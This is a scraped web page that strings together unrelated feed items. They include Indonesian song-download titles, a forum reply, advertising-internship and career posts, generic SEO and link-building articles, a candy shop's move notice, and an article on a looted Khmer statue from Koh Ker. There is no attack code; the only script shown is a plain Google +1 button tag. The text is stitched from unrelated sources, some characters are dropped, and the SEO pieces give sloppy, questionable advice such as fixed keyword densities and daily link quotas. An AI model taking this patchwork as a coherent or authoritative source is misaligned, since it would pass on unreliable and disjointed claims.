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          Download Lagu Tiada Nama Lain - PPL Music   
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Tiada Nama Lain - PPL Music

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          Download Lagu Rohani Judika - Dia Jamah Mp3   
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Judika - Dia Jamah

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Download Lagu Dia Jamah - Judika Sihotang
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          Download Lagu GMB - Jadikan Aku Indah Mp3   
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Jadikan Aku Indah - Giving My Best (GMB)

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Download Lagu Jadikan Aku Indah - Giving My Best (GMB)
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          Download Lagu Pilihan Yang Terbaik - Franky Kuncoro   
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Pilihan Yang Terbaik - Franky Kuncoro

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Download Lagu Franky Kuncoro - Pilihan Yang Terbaik
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          Download Lagu Tak Pernah Sendiri - Kamasean Idol   
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          Download Lagu Veren - Tak Pernah Terlambat Mp3   
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          Download Lagu Anugerah Terindah - Regina Idol   
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          Download Lagu Rindu Selalu - One Worship GMS Live   
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          Llega el Nexus 5 con Android 4.4 KitKat   
Como todo apuntaba,Nexus 5 ha sido lanzado por la compaa de Google, desvelando todas sus caractersticas finales. Todas las filtraciones ... Llega el Nexus 5 con Android 4.4 KitKat
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          Re: Welcome Back To BBN For ‘Big Brother 19’   

I absolutely know the song, although I do admit that I had to Google a couple words since I haven't heard it in forever! :D
Definitely not my first year, but I typically don't get on the boards during the show because then I end up paying more attention to the conversation than the show! Haha

Thank you for the warm welcome AND the invite, though. I'll be around the boards all season, trying to disagree (which is inevitable, right?) as respectfully as possible & have as much fun as everyone!!


          The final week for the IPA Ad School...   

The logo looks like this. Honest.

Hello all.

Not sure if you realised this, but the IPA (the Institute of Practitioners in Advertising) have an excellent summer school, and it closes at the end of this week. They've been in touch with AdGrads to get us to let you guys know about it. So, on with the show:


“This is the final week for applications for this year’s IPA Ad School, a fantastic chance to spend your summer in one of the UK’s top agencies. There are three programmes: Client Services & Planning, Creative and Search. Alongside 8 weeks of work experience, you’ll also attend weekly evening sessions from industry luminaries – a great chance to learn, ask questions and network with some seriously senior folk. Client Services & Planning and Creative students will also take part in a group project which is pitched at graduation, while Search students leave the School with two industry-respected qualifications: the IPA Search Certificate and the Google Adwords Certificate.

There are some fantastic agencies lined up – we’ve not released the full list but do a little research and you’ll see that Leo Burnett and Publicis are amongst this year’s crop. Last year over 70% of our students were offered jobs or extended placements so while there’s no guarantee, the odds are definitely in your favour.

This year’s School runs from 1st July-23rd August and is open to second-years and above, including graduates. You needn’t have any prior experience or any kind of portfolio or book; all we want from you is great ideas, bundles of enthusiasm, and lots of hard work.

Upon successful completion of the programme, students receive a prize sum (£800 for Client Services & Planning and Creative and £1,500 for Search). Travel within zones 1-2 is paid.

But don’t just take my word for it – hear from last year’s Ad School graduates.

Whether you’ve always wanted to work in advertising or whether it’s a career you’ve never considered before, the IPA Ad School is the perfect way to try the industry to see if it’s the right fit for you.

Apply now for IPA Ad School 2013; the deadline is 11:59pm on 12th April.

If you’ve any questions please email adschool at ipa.co.uk or find us on Facebook.

Good luck, all.

          Graduate Memories & An Exeter Apology...   


Me, today.


Hello, Exeter folks (or regular AdGrads student readers).

As you may or may not have noticed, I’m not there speaking today. Sorry about that.

By way of an apology, I’ve decided to write a blog post. Not just any blog post, either. One that, I hope, is helpful for those who are deciding whether a career in communications* (*PR, Advertising in this case) is the right thing for you. It features a bit of my story and some of the lessons I've learned along the way. Read on...

Once upon a time in my first year, I wandered up from Birks (the old one, not the shiny new Birks Grange – this one resembled something like a 1950’s prison) and went to see the careers folks. I was told I should either become a teacher or a solicitor (NB: Exeter's career service is now excellent, but when I was graduating, finding the right job was a bit trickier for the average English student).

Being an English undergrad at the time, both seemed, well, a bit creatively sterile** (**they are creative in their own way, but I was interested in making stuff; y’know, stuff with my own name attached to it in some way – the English student’s creative conceit, I think).

They also, if I'm honest, seemed a bit grown up. And, as a 19 year old man-child who could barely cook for himself, never mind entertain the notion of a ‘proper’ job, I wasn’t overly enthused:

"COULDN’T a job encourage my creative side? DO I have to wear a suit every day, anyway? WHY can't I be paid well for thinking about and helping to create ideas?"

In a way, I was lucky. I knew of one from the start. That was Advertising. I’d been fortunate enough to grow up in a household in the West Midlands where my father was involved with managing an ad agency. I’d been able to find out about the inner-most workings of how ads got made, and the process of talking to clients, conducting research and creating creative work to solve a client’s business problem/s.

Account handlers (account executives when junior, rising through account manager to account director and beyond) were the day to day liaison with the client – the business minded sorts who sold work to the client and generally ensured everything went smoothly. Account planners were the ones who analysed the marketplace, trends and helped some up a defined problem for communications to solve (in the form of a creative brief), assessing the work as/after it was made. Creatives – art directors, copywriters (and even digital/tech developers) were those who came up with the ideas to help clients sell more products or amplify consumer behaviour.

With all of this prior knowledge and career advice bubbling in the background, I got on with the serious*** (***it wasn't that serious – not with my amount of hours) business of getting a degree. And, I got one. And it was lovely, and all that. Mum was very proud.

Knowing what I know now, I should have tried to get some work experience in the holidays. If you’re reading this as a first or second year student, try and do it as soon as you can, even if it's just one stint. Of course, I wasn’t from the South East, and this poses a massive problem for most people – how do you come to a major ad agency (the overwhelming majority of whom are based in London) if you can’t live at home or don’t have friends in the area?**** (**** the answer is ‘stay in a youth hostel’, for those who’re thinking about it).

Anyway, that’s an aside. I applied to lots of ad agency graduate schemes, all of which I found out through the IPA (the Institute of Practitioners in Advertising) or through my Dad/googling. And, I was confident. I had a good degree, after all. So, what happened next?

Rejection.
Total rejection.

After the first interview (at Leo Burnett, who run a very fine graduate programme), I was rejected from every other place without an initial chat. You might say it was a bit of a set back.

After completing a few pieces of work experience (at Fallon and DLKW)…with even more rounds of rejection… I had a conversational language. I knew how to speak ‘ad’; I was comfortable when talking about ideas in ads – about what ads were trying to achieve and what they could have been.

I’d urge EVERY person reading this who’s thinking about advertising or comms to practice this, and to ask questions of it – what is the comms trying to say? What do you like about it? Or, better yet, what do you dislike? (NB: Check the AdGrads archives for more information; there's lots about this in there).

Spurred on by this, I started a blog***** (***** back when blogging was a new, fairly useful way of standing out; it’s less useful now, as everyone's doing it.) documenting my adventures in adland. The blog, called ‘Confessions of a Wannabe Ad Man’, can now be found here. All of the archives are there, and I think they helped me when explaining how and why I liked Advertising.

Because of these experiences, I eventually got into account management at Saatchi & Saatchi, where I was a fairly terrible account handler. Happily, I was a better planner. I have worked at Lowe, Edelman, Anomaly and M+C Saatchi/LIDA. I’m still at the latter.

That’s my story.

After going through this experience, I've picked up the odd lesson. I hope these are useful:
  1. Mentors are the most important part of communications (and indeed, any job). With a good one, you learn exponentially and have someone to test things on. Without one, you are prone to free wheeling.
  2. Start big, get smaller. The bigger agencies have the time and resource to train you properly. The small ones, though you learn a lot through doing, you un the risk of not learning properly. You can always work at that sexy small agency. Far better to work there when you know the basics well. 
  3. Think about how you communicate. It’s a bit wanky to say ‘you’re a brand’, but you must be able to prove why you like communications, and be able to be found. If I googled you, would I find you and your opinions/interests? No? Then why do you want to work in communications?
  4. Keep track of your favourite on your lateral thinking. What’s the best example of thinking you’ve seen to solve a problem? It can be non comms led (ideally it would be marketing-based), an ad, something you’ve done or so on – but it must show a clever lateral thought to solve an associated problem. Keep a log of your favourites. They’ll help when demonstrating how you think about the world in an interview.
  5. Don’t get disheartened. Rejection is part and parcel of the game. Before every relevant job or decision, I have been rejected far more than I’ve been accepted. The trick is to use it to spur you on. After all, Advertising is a trade, not a profession. There’s rarely one way to solve a problem, or indeed, one straightforward way to get in.
Exeter folks, I’ll try to be there next time. Honest.

Feel free to email me on William.Humphrey at yahoo.co.uk if you have any further questions.

Good luck to any student reading this.
          A Grad Scheme & A Marketing Internship...   



Hi all.

There's a raft of new opportunities for you lot out there at the moment. Karmarama and What Now are both looking for talented graduates.

So, without further ado, here's more about both:

1) Karmarama


We're on the lookout for four bright, bold and ambitious people who will make good things happen in our Account Management Department.

If you show us that you’ve got some fire in your belly and some stories to tell, we’ll invite you on to our Kadet Scheme, where you’ll compete for a job in Account Management. We will be taking on 4 Karma Kadets for 2 months over the summer, with one of our Kadets bagging a full time role at the end of the internship.

You could be graduating this summer, or you might have got your experience from somewhere else – either way we’d like to hear from you.



Applications are open now, and the closing date for entries is 4th March 2013

All the details are at our Facebook page. You can follow us on Twitter at @karmakadets and our current Kadets @karmakadetkatie @karmakadetalex for further updates on the scheme!


2) What Now?!


What Now?! is an innovative new product that aggregates the best local information so travellers can use their smart mobile devices to discover interesting things nearby when they arrive in a new place – all without paying for data roaming.  We were a finalist at the London Startup Weekend last year and are busy helping bring the product to life. Tony, the founder, comes from a background of working in various advertising agencies and marketing client-side, before leaving to study for an MBA and, ultimately, set up What Now?!.  

What Now?! aims to launch in London and Barcelona in the early summer period.  We are currently looking for a marketing intern who can help with the following:


  • Manage social media activities – including Twitter, Pinterest, Facebook and Google Plus
  • Develop strong links with the travel blogging community (like/dislike, make suitable and valuable comments, make suggestions, engage people)
  • Co-ordinate our overall launch marketing activities
  • Monitor and report on progress and key findings
  • Promote blog content
  • Collaborate with our fast-paced, entrepreneurial and fun team

The ideal candidate:

  • Is not just familiar with, but also active social media sites and has a strong online presence. In particular, the ideal candidate would be very familiar with Twitter and its partner platforms (HootSuite, TweetDeck etc.)
  • Possesses excellent written communication skills, so they can make the right judgements on what to post without damaging the brand. Our social tone of voice is important
  • Has top-notch social skills - and a sense of humour!
  • Is a self-starter with the ability to work independently and make judgement calls
  • Has a passion for travel, culture and all things Social Media

Working in a startup is an incredible learning experience and you would be exposed to a huge amount of diverse business and marketing experiences.  The internship length is flexible depending on the right candidate and there will be a small salary to cover expenses

The internship will be a great opportunity for the right candidate – and, even if your passion is to work in an advertising agency and not take up a full time role with us afterwards, it would look great on your CV.  If this sounds interesting to you, then please email a CV and covering letter to tonys at whatnowtravel.com.

Good luck, all.
          Quirk need YOU...   
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Hi all.

I've had another request for a graduate position from the good people at Quirk.

I'll let them explain:

"Quirk is a dynamic, fun, hard-working and rapidly growing agency looking for an Intern or Graduate to join our Engage team.  The post is for a minimum of 3 months, and you’ll be working closely with our Paid Search and Social Media teams.  You’ll be supporting some of our largest accounts setting up PPC campaigns, monitoring Social Media accounts and even assisting our SEO Manager.  This opportunity will provide you with invaluable, hands on experience that will equip you with important skills & knowledge to help start your digital marketing career. 

You will also be required to support other areas of the agency as needed. Skills needed include: A real passion for digital, an analytical mind, excellent attention to detail, Excel experience, Google AdWords experience is advantageous - and finally, good writing skills.

Please contact tammy at quirk.biz for more information."

Good luck, chaps.

          Avoid Paid Featured Directory Listing and Sitewide Links   
Getting backlinks from the free sources are always beneficial for a website and helps a website to get rank well in search engines. If you want to purchase links be careful specially when you want to purchase paid directory listing. I advice stop buying paid links and its better to buy quality content and publish it on your blog.

The search engine giant, Google can easily identify your unnatural link activity even these directories offers free submission. The reason is simple. Google sending link voilation messages to the webmasters through google webmaster tools. Google easily identifies it through sitewide links or the common navigation or footer section where a website's link is placed and this link is found in more than 100 of pages in the same website.

Say No to Sitewide Link or Featured Section

A month ago, I also purchased the paid spots in three directories and got email from google a week ago. When I checked my google webmaster tool, I found more than 2500 links are coming to my site from these three directories. I still see digitalpoint and other webmasters forums where webmasters sell or purchase links without any fear.

The Best Link Building Strategies After Google Panda and Penguine Updates :

  • Publish not less than 350 words unique content. Link your keyword inside the content with the relevant page.
  • Avoid reciprocal link building in bulk, sitewide links and links under featured section.
  • Donot make more than 15-20 links a day.
  • Rely on free source of backlinks - Directories, Articles, Social Bookmarks.
  • Focus more on contextual links from relevant sites/blogs only.
  • Utilize the power of social networking sites - Facebook, Twitter, etc.
  • A new website owner should keep patience and start link building atleast after 3 months.

          New Social Media Tool - Google +1 and Search Engine Rankings   
Google has launched the new application called Google +1 very recently. If you have seen carefully, there is a +1 sign next to each search result in Google search results page. In this article, let’s take a look at this new tool on how it works, what are its effects on PageRank, are Google+1 and Search Engine Rankings related to each other, and how you can use it on your website.

Basically +1 is acts same as that of “Like” button on FaceBook or “Follow” on Twitter. But the effects of +1 are different from other two, as Google is basically a search engine as well as social media and blogging platform too. With +1 launched, Google is trying to strengthen its position in social media sector. As far its working is concerned, it will add one vote to the search result, website or blogpost, if a user presses on +1 sign next to it. When more number of people press +1, means vote for your website, it will be more trustworthy for Google.

Adding the Google+1 button to your own website is very easy. You have to copy-paste the following code on your website’s homepage and it will start working instantaneously. You need to place inside the <head> or just above the </body> tag of the webpage.

<script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
<!– Place this tag where you want the +1 button to render –>

<g:plusone size="tall"></g:plusone>

Now comes the important question. Are Google +1 and Search Engine Rankings connected to each other in any way? Whether +1 also affects the Google PageRank of a website, is still not very clear. Some people say that it affects not directly but indirectly somewhere down the line. Whereas others claim that the PageRank is not at all affected by this new tool. However, there is good news for PPC marketers as +1 is going to be a permanent addiction in the Google AdWords. The anti-spam mechanism is already in place and if someone tries to vote more times to his or her own website to improve score, the website can be penalized.

According to some experts Google +1 is going to work in phases. During the first phase, Google will collect all the information for analysis and then during next phase, it will try to provide more personalized experience for searching and ranking operations.
          Less Known Facts About Google Ranking   
Many of affiliate marketers use the Google PageRank as a reliable source to measure the popularity of the website. But many of them, in fact, many of internet users do not know how Google PageRank is actually evolved and what the notion behind it is. Ten years ago, the ranking was not the same as that of today, they were quite predictable. The search algorithm was more manually-driven than programmatically and so the search results from Google often showed the same websites over longer period of time. As a result of this, users were dependent on Google more as a site browsing tool. This is one of the facts about Google PageRanking.



However, the conditions have changed a lot now. Google has developed its services in more modern way where there is no manual dependency. All the things are taken care by algorithms. Now you do not experience the same search results for similar terms for even two days. You can see totally search results for same keywords. This really puts a question in front of all Google PageRank users, that is it really useful when Google shows very dynamic Page Ranks for the same website for same keywords. This proves that Page Rank is not merely a number but a result of complicated algorithms applied. To generate Page Rank, Google takes into account following factors- websites Meta tags, titles, keywords density, description tags, links coming from other websites, the Page Ranks of the referring websites. So you can now imagine how complex is the Page Rank generation algorithm. And this is the second of some facts about Google page ranking.



There is a variation in the Google suggestions for search query phrases. This way, the search queries data entered by people can also be under question. You cannot really depend on it. Sometimes, Google search gives totally different and strange results on the referral data of your website. Some people also reported a wide variation or sudden rise in the Google page crawling activity and after such activity, their Google traffic data was significantly decreased and hence lowering their page ranks.



For some webmasters, Google PageRank is not the only parameter to evaluate the popularity of the website. But of course they also get worried when their PageRank is modified because of any known or unknown reasons. This creates a fear among their PR network for sure. This way, above stated facts about Google PageRanking can affect your website’s popularity and thus affecting your money.
          Know More About Google Panda as a Ranking Factor   
Google panda is the new algorithm or tool introduced by Google to make out the difference between the original and duplicate content. In this article, lets find out more about Google Panda as a Ranking Factor. This does the job perfectly and finds out just copy-pasted blog content and other low quality articles created just by re-shuffling keywords. Such websites are also known as article farm. The Google Panda was earlier named as Google Farmer which will remove weeds present in the farms of web where websites with duplicate and /or low quality content are termed as weed. After these weeds are removed, the farm can grow with a healthy crop. This way, the main goal of Google panda is to get rid of such low quality content. The website is said to be "hit with Panda" or "affected by Panda Attack: when Google terms the website as low quality.

On the web, there are many websites which copy the contents from other websites. After running this algorithm, Google marks the entire websites or pages as Panda Pages. Google has designed Panda to check low quality pages. If the website contains too many pages with low quality content, then Panda marks the entire site. This way we can look at Google Panda as a Ranking Factor, however this does not claim that your website is out of Google’s search and other tools. It is still there, and after the site-owner chooses actions to recover from Panda attack, it can be considered as a normal website again. Of course, some days or weeks might be required to get the site out from Panda Attack. In the newer versions of Panda, websites which are not much relevant and are the same since long time are also affected.

One interesting thing is that the Panda filter algorithm is not continuously running, it runs for some period of time and then rests for some time. This particular algorithm requires lot of computing power as the analysis is to be done by using some complicated methods and few hundred of parameters. During each run of Panda filter algorithm, Google has tried to enhance it with some small or big changes. The efforts to figure out good quality and low quality content are really appreciable as it tries to give credits and benefits to the original creator of the content.
          Ch ch ch changes   
Drat and blast, folks!  Summer has passed us by and not a peep from yours truly. Truth be told, I just had a really exciting, fun, and busy summer.  I know people were worried for their lawns, but I'm the kind of gal who loves to see the sun every damn day if I can.
One of my favorite things about the summer in the Gloucester location is that in the last few years it really has become a destination of sorts for folks from all over the world. Our Salem shop has enjoyed this diversity for years, as the PEM lives up to its reputation as an international draw.  Here in Gloucester, though, it's still new to see so many cultures and people all over the island.  My favorite international tidbit so far is that what we call non pareils here are called "freckles" in Australia.  Cool!
Freckles, down under

So much for the fun, folks, now on to the busy part:  At the start of summer (on my birthday, actually) I was alerted that our Salem shop would have to move out of its home for the past 5 years.  We're really sad to leave 177 Essex St., but had no say in the matter. We'll have our last hurrah there this October, and will be moving in November.

So here comes the exciting part:  OUR NEW DIGS!  We are super excited to be moving just a couple blocks away to 318 Derby St.  We're really thrilled to be just around the corner from two of my favorite foodie stores in Salem, A&J King Artisan Bakers and the Cheese Shop of Salem. With us at the tip, I think we are going to make a gorgeous tasty triangle of a neighborhood.  A Bermuda Triangle of Tasty Delights!  The Black Hole of Deliciousness! The Golden Triangle of Temptation! I could go on...

We hope (cross your fingers, folks!) to be up and running at the start of December. In the meantime, stock up on Essex St. all the way to Halloween, which will be our last day of business in that location. Remember, too -- the Gloucester shop has all the things you need, and will be open while the Salem shop relocates.  It's beautiful drive out here.  Trust me! 

We'll keep you posted on progress, last minute news bits, and any crazy sales we might have on our Facebook Page. Visit often!

Until next time, folks, we're here.  We're making candy.  It's yours for the taking.  Xxx.






          On-Page SEO - How to Improve Search Engine Ranking?   
SEO is a buzzword in the world of Internet. Everyone is trying to master the skill and get the first page position on the search engine results. Many websites and article directories contain tons of pages stating the correct ways of achieving search engine optimization. They guarantee that following their tips or guidelines will surely make your site appear in first page of Google search. However, not all these pages contain valid and usable information and it is not a matter of just one day or few hours to get into the best position in search results. It surely requires continuous efforts for some consecutive days to reach the best position or we can say desired position.

Here are few things, again we don’t claim, these are ALL the things, required for better SEO. These surely work as far as our experience is concerned. Paying attention to following things will surely help to improve the search engine ranking for your website.

Content - Content is the main thing in any website. We can easily say that great and original content is everything required for SEO. It is like a property with a very high value. The more good is your content, the better are the possibilities for good page ranks in search engine results. You must put new and fresh content after a regular interval on your website. Latest updates in content are also required for better SEO.

Keywords – As stated in above paragraph, content is the main requirement for SEO. But whole content can not be used for optimization, you must select some important words or phrases which best describe your product or service you are offering from your website. Those important words are also called as keywords. Finding these keywords in the written content or conversely, developing content around keywords is more important task. These keywords can be put in “bold” case so that they can be prominently seen on the page by the search engine.

Density of Keywords – Number of keywords appearing on a single page is also one of the factors that is considered by search engine. This is because, if somebody has written only keywords in bold case hundred times, then the content is surely useless and adds no value. So three to four keywords per page is considered as ideal density by the content developers as well as search engines too.
          How to Make SEO Techniques Work for You   
For such a huge scope in the internet market and expectations of the online visitors, it is required to make SEO techniques work for you in quite an effective manner. It is needed here that implementation of the SEO strategy should be done in an authentic manner and thus, this will definitely lead to achieve the success level you have never imagined before. You surely need some extra efforts and tips that can turn the SEO strategy into a comprehensive approach that may benefit you in a long run.

  • The option of selecting the Google Ad words is a very cost effective and reliable process that will give you the much needed benefits. The working principle of the Ad words is to allow the customer to spend an average amount of money for a specific keyword.

  • Keep record of various online directories which can help you in listing your website and thus, provide an opportunity to rank the website to the highest level. There are certain directories which are free of cost and at the same time, they are treated as very reliable methods to implement the working of SEO strategy.

  • Always create an attractive, catchy and luring title containing the target keyword and it should be capable of attracting huge number of customers at the earliest.

  • Use all the available resources on the internet which may help you in employing the techniques in the most effective manner, some of the online page directories and keywords selection process has been trendy and in vogue in the recent few years. Such bold steps will definitely make SEO techniques work for you.

  • Even if you own a website for the SEO purpose you will be happy to own a blog related to the same topic and product which you are willing to promote to the highest standard.

  • Lay emphasis on the much needed website contents, page layout, design and title tags which often attract the attention of SEO experts. The emphasis on these terms wills effectively improve the level of SEO strategy you are adopting and implementing.

In fact there are two different types of SEO techniques – on page and off page. In off page SEO technique, the client just prepares himself for the implementation; judging and inspecting the various aspects that will make SEO techniques work for you. On the other hand, in on page techniques you are required to improve the look, appearance and overall density of keywords and their selection as the major work.
          7 Tips for Quality Link Building   
If you are interested in maintaining a high profile SEO page, you must strict to quality back links and quality link building feature, which in turn will increase the web traffic. Further, it should also be noted here that building such high quality and standard back links for SEO purpose need an extensive research on the topic and your precious time should be invested there. It is better to place your back links in the collaboration of free and paid sites to an ultimate level which can fetch you the maximum benefits in terms of cash and web traffic.

Here are certain vital tips that will guide and help you in creating quality links

  • Always be aware of the page strength of the concerned website or webpage so that you can know the exact PR of your SEO. This in turn, will give you the accurate and more elaborate description of quality link building capacity. Just do not go on the rank which usually the various search engines and online directories provide you. In reality, ranking is more complex. Also, does not check only the rank of your home page rather believe in overall ranking?
  • It should be always be kept in mind that your webpage contains an optimum number of back links otherwise it will impact negatively. This is often the case with most of the website owners and those people who are interested in pursuing SEO.
  • See that the concerned directory is indexed with Yahoo, Bing or Google or not? This is the most important factor to consider here because you should be left out with false promises.
  • Application of high density keywords in your anchor text is always encouraged for maximizing the benefits. It may happen that a low profile directory will reject this offer but a settled directory will allow you to do so for quality link building.
  • Try to cat as matured person and buy a featured listings. Many offers are there but they do not work accordingly as the promises are made.
  • Do not go on the cost of directory. It may happen that your link building will be most successful with some inexpensive directories.
  • You should also be an opportunist to submit the deep links other than the index page. Each webpage has the capability to be ranked and thus, quality link building becomes very simple and effective.

          Quick Search Engine Optimization Tips   
SEO profession is very challenging profession and seo is always fighting to get rank well in search engines. Without success there is no chance for you to do online business. My below search engine optimization tips will definately guide beginners to achieve their target :

1. Your first aim should be research your business and product offerings.
2. Research your target keywords suitable for your online products.
3. Spend time on your competitor's websites and their target keywords.
4. Check the content, title and meta of your competitor's website.
5. Use keyword suggestion tool and check which keywords pull the most traffic.
6. Don't forget to research on most and least competitive keywords.
7. Ensure that the html code is error free and easily crawlable by search engines.
8. Avoid javascript and flash in your website.
9. Check your robots.txt is working fine and not blocking important pages from being indexed.
10. Use your target keywords in your title tags and place keywords in the beginning on the title tag.
11. Make sure every page on your site has a unique title and meta tags.
12. Don't forget to mention city/area in title where business is being served.
13. Keep your title short and catcy
14. Mention your company name in either title or meta tags for brand recognition purposes.
15. Don't miss your target keywords in your meta description and it should be catchy.
16. Focus on keyword phrases and include these phrases in title and meta description.
17. Verify your website in google webmaster tool.
18. Use stylesheet to make your website light.
19. Avoid using ajax and flash
20. Avoid using dynamic urls.
21. Utilize your target keywords in the urls.
22. Content is king so always add fresh content. Try to have 400-500 words per page.
23. Write content for users not for search engines. It will help you keep your bounce rate low.
24. Try to maintain keyword density of 2-3%
25. Don't hide text by making its font size too small or by making it the same color as the background color.
26. Don't stuff keywords. It can make your content tasteless.
27. For heading of the page, use H1 and use it only once for heading. For subheading use H2, H3, H4...
28. Bold or italicize important keywords only.
29. Use target keywords in image alt tags and ensure that all images have Alt description tags.
30. Use keywords in image files.
          The Real Secret of Cambodia’s Mythic Warrior: Archaeological Insight   
By Kent Davis
Originally posted at http://www.devata.org/2012/03/the-real-secret-of-cambodias-mythic-warrior-archaeological-insight/

…like a good Indiana Jones movie, the real story of this lost treasure began with a flash of archaeological insight in a remote Asian jungle half a world away….

Koh Ker, Cambodia – Protests from the Kingdom of Cambodia recently halted the multi-million dollar Sotheby’s sale of an ancient stone statue with the support of the United States government. When the Cambodians sought help bringing the thousand-year-old Khmer statue back to their country the New York Times ran a detailed article entitled “Mythic Warrior Is Captive in Global Art Conflict.”

10th century Cambodian sculpture previously scheduled for a multi-million dollar Sotheby’s sale.
Their investigation reveals that the legal and moral issues surrounding the ownership and sale of ancient art are quite complex. In this case, one generous art collector may actually provide a positive solution. But like a good Indiana Jones movie, the real story of this lost treasure began with a flash of archaeological insight in a remote Asian jungle half a world away.

Mystery of the Missing Men of Koh Ker

One thousand years ago, the Khmer Empire ruled most of what is now Southeast Asia from its capital in Angkor. During their heyday, the architecturally and artistically sophisticated Khmer people created some of humanity’s most extraordinary stone temples and statues. Apart from a few stone inscriptions, however, no written records of the civilization survived. Out of necessity, archaeologists have had no alternative but to piece the story of the Khmer people together, clue by clue and stone by stone.

Rising above 30 meters in height, Koh Ker’s central temple-mountain of Prasat Thom was built 100 years before Angkor Wat. Photo: Khmersearch, Panoramio.
Early in the 10th century (for reasons that are still unclear), King Jayavarman IV and his son Harsavarman II relocated the empire’s capital from Angkor to an isolated plateau 100 km to the northeast. There they built the city of Koh Ker, a huge new complex of temples and shrines, where they established their throne for a brief 16 year period (928-944 AD). Like all great Khmer cities, Koh Ker was ultimately abandoned and swallowed up by the jungle. The rediscovery of the Khmer civilization by Westerners didn’t begin until French explorers arrived in the second half of the 19th century.

In 2007, stone conservator Simon Warrack was working with the German Apsara Conservation Project (GACP), a scientific organization that had been doing critical restoration on Angkor Wat temple for more than a decade. In May, Warrack took a side trip to the Koh Ker site (Google Map link) to consider future conservation needs there.

At Koh Ker, Warrack noticed two distinctive pedestal platforms in the first enclosure of Prasat Chen. There, by the west gopura (an entry structure), he saw the feet where two statues had clearly been broken off. But the gods that once stood there were nowhere to be found. The mystery sparked his imagination.

The two Koh Ker pedestals as Warrack found them at Prasat Chen in May 2007. The pedestal circled in red shows a fabric section still attached in the center.
Virtually Connecting Ancient Dots…and Stones


From my own research cataloging the devata of Angkor I can attest that field work is generally hot, uncomfortable and distracting. Almost all of my discoveries happen at my desk in Florida examining photos taken weeks or years before at remote locations. Warrack continued his search in similar fashion.

The Norton Simon dvarapala featured in “Adoration and Glory”, p. 149
He pondered the distinctive bases and began searching for photos in books and research archives. Finally, he found a possible solution. In “Adoration and Glory – The Golden Age of Khmer Art” by Emma Bunker and Douglas Latchford one image stood out. It showed a figure identified as a dvarapala (guardian) at the Norton Simon Museum in Pasadena California. That statue was missing its feet, but many are. The key to solving this puzzle was the unique tail at the bottom of its clothing element. After scanning images and digitally combining them Warrack confirmed the close match between the two fragments.

Warrack’s 2007 digital superimposition of the base and body of the Koh Ker statue.
Warrack immediately wrote a short paper to seek opinions from others in the field of Khmer studies. He forwarded copies to friends and associates as well as to key authorities including the APSARA Authority, which manages the Angkor region’s heritage assets; the Ministry of Culture and Fine Arts in Phnom Penh; and the École française d’Extrême-Orient (EFEO), a French organization dedicated to Asian studies that has been active in conservation efforts at Angkor since 1907. I met Simon in 2007 shortly after his find and the photos above come from the original article he shared with me.

Everyone who saw his image realized the importance of this observation. Determining the original location of displaced objects can be a huge help in interpreting their meaning and significance within the context of an ancient civilization. The record shows that the Norton Simon piece was acquired legitimately and is on public display for educational, artistic and cultural appreciation. But not all art ends up this way. Much of it disappears into private collections, out of view.

Such was the case of the complimentary statue that stood face to face with this one more than a thousand years ago at the Khmer capital of Koh Ker.

Sotheby's twin Khmer warrior. Note the unbroken base of the fabric tail.
The Long Lost Twin Reappears

In the summer of 2010, a “noble European lady” contacted Sotheby’s to discuss the sale of a “spectacular tenth-century Cambodian sculpture, 160 centimeters in height and exceptionally well carved.” Word got out quickly to the worlds of art and archaeology. When pictures began to circulate it was instantaneously clear that this was the long-lost companion to the statue Warrack had connected to the Norton Simon Museum three years earlier.

Meanwhile, in New York, the matching sculpture was estimated to sell for millions of dollars. According to the owner’s records, she legally acquired the piece in 1975 from the now-defunct London art dealer Spink & Son. The Norton Simon Museum also acquired their piece that year. Some evidence suggests that both statues left Cambodia in the late 1960s, but exactly when and how that happened, and who arranged it, is unknown.

Paraphrasing Sotheby’s Senior Vice President Jane A. Levine, the New York Times article stated “Ms. Levine countered that the statue could have been removed any time in its thousand-year history, and said the word ‘stolen’ was often ‘used loosely.’ ” Meanwhile, Christie’s auction house acquired Spinks in 1993 and claims that the 1975 records of the statue’s origin are “no longer available.”

Regardless of the lack of facts, the ownership of both statues seems quite legal under international laws. Which brings us to a question at the heart of this matter.

Who Should Own Historical Art?

An idealistic answer is “humanity” but even this dream can have unexpected consequences as we’ll discover below. My personal goal would be for historical assets to be accessible to everyone who wants to respect them, preserve them, appreciate them and learn from them. But this philosophy wouldn’t get me through the front door at most of the world’s public institutions holding these assets (let alone to private collections).

Most of us are fortunate enough to live in a free society. We can buy, sell and own personal property within the law. The laws protecting heritage assets have evolved considerably over the past few decades, and they continue to do so. But the fact remains that countless artifacts were legally acquired by collectors (“noble ladies” included) as well as public museums since the beginning of time. Isn’t it their right to display, use and sell their property as they see fit?

Let’s consider some difficult questions raised by recent news:

The taller Buddha of Bamiyan before and after destruction. Photo: Wikipedia.
1. Can a government or private entity decide to demolish old structures? This happens every day in every city around the world. Sometimes historical societies rally to save a site. Sometimes they can’t, as seen in the shocking annihilation of the Buddhas of Bamiyan. Was that government right? Were those people right? And who are you to judge? Do you live there?

In Sarasota Florida some local groups rallied to have this mural erased from a shop.
2. Can a government or private entity destroy something offensive or blasphemous to their values or religion? How far does freedom of expression go? This Yale article discusses the destruction of Buddha images in the Maldives. But it also mentions things like Henry VIII’s systematic destruction of all the monasteries in England, Wales and Ireland. Near my home in Sarasota Florida a debate has run for months about erasing a mural that may promote gangs. Acts of artistic control and destruction happen all the time.

Sunken treasure found by Odyssey Marine 1700 feet deep in the Atlantic Ociean.
3. Can a private group use its own funds to recover or preserve historical objects that were clearly abandoned by the original owners hundreds or even thousands of years earlier? In other words, does everything actually belong to some hypothetical “rightful owner”? And who owned these things before them? Odyssey Marine Exploration in Tampa Florida just got a harsh lesson in how arbitrarily this question can be answered. Odyssey spent years working to locate and salvage a ship in international waters off the coast of Portugal. It lay, unknown and untouched for two centuries in 1700 feet of water. US courts just ruled against Odyssey and returned all the artifacts to Spain.

Ironically, that silver and gold was mined in Peru by peasants working under slave-like conditions. Peru, of course, came under Spanish control in the 16th century when conquistadors brutally subjugated the Inca civilization in their quest for territory, power and treasure. But to the US courts, 200 years of ownership was enough to confiscate assets for an “original” owner…but not 400 years. Peru’s claim to the artifacts was ignored.

On the other side of the gold coin, salvage operations generally destroy much of the archaeological evidence that exists on a wreck site. I took an archaeological research diver workshop at a Florida galleon site, and I’ve also had the privilege of discussing this topic with the father of underwater archaeology, George Bass. I am quite opposed to the wholesale destruction of history to recover precious metals on land or at sea.

